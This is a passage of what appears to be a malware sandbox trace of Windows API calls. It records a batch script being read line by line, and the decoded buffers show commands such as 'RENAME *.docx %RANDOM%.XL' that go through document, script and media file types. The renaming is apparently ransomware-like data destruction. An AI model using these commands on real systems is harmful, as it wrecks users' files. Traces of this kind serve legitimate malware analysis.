lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.907] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.907] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.907] GetFileType (hFile=0x74) returned 0x1 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0039.907] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=1367, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.907] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0039.907] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.907] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.907] GetFileType (hFile=0x74) returned 0x1 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0039.907] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=1369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.907] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0039.907] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.907] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.908] GetFileType (hFile=0x74) returned 0x1 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0039.908] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=1395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.908] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0039.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.908] GetFileType (hFile=0x74) returned 0x1 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0039.908] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=1406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.908] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0039.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.909] GetFileType (hFile=0x74) returned 0x1 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0039.909] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=1408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.909] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.909] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.909] GetFileType (hFile=0x74) returned 0x1 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0039.909] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=1415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.909] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0039.909] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.909] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.909] GetFileType (hFile=0x74) returned 0x1 [0039.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0039.910] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=1417, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0039.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.910] GetFileType (hFile=0x74) returned 0x1 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0039.910] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=1444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\nn\r\n") returned 27 [0039.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.910] GetFileType (hFile=0x74) returned 0x1 [0039.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0039.911] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.911] SetFilePointer (in: hFile=0x74, lDistanceToMove=1455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0039.911] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.911] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.911] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.911] GetFileType (hFile=0x74) returned 0x1 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0039.912] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.912] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.912] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.912] GetFileType (hFile=0x74) returned 0x1 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0039.912] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=1463, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0039.912] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.912] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.912] GetFileType (hFile=0x74) returned 0x1 [0039.912] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0039.913] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=1465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.913] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0039.913] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.913] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.913] GetFileType (hFile=0x74) returned 0x1 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0039.913] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=1491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.913] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0039.913] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.913] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.913] GetFileType (hFile=0x74) returned 0x1 [0039.913] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0039.913] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=1502, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.914] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0039.914] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.914] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.914] GetFileType (hFile=0x74) returned 0x1 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0039.914] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=1504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.914] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.914] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.914] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.914] GetFileType (hFile=0x74) returned 0x1 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0039.914] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.914] SetFilePointer (in: hFile=0x74, lDistanceToMove=1510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0039.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.915] GetFileType (hFile=0x74) returned 0x1 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0039.915] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0039.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.915] GetFileType (hFile=0x74) returned 0x1 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0039.915] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.915] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0039.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.916] GetFileType (hFile=0x74) returned 0x1 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0039.916] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=1549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0039.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.916] GetFileType (hFile=0x74) returned 0x1 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0039.916] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=1551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.917] GetFileType (hFile=0x74) returned 0x1 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0039.917] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=1557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0039.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.917] GetFileType (hFile=0x74) returned 0x1 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0039.917] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=1559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0039.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.918] GetFileType (hFile=0x74) returned 0x1 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0039.918] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=1585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: 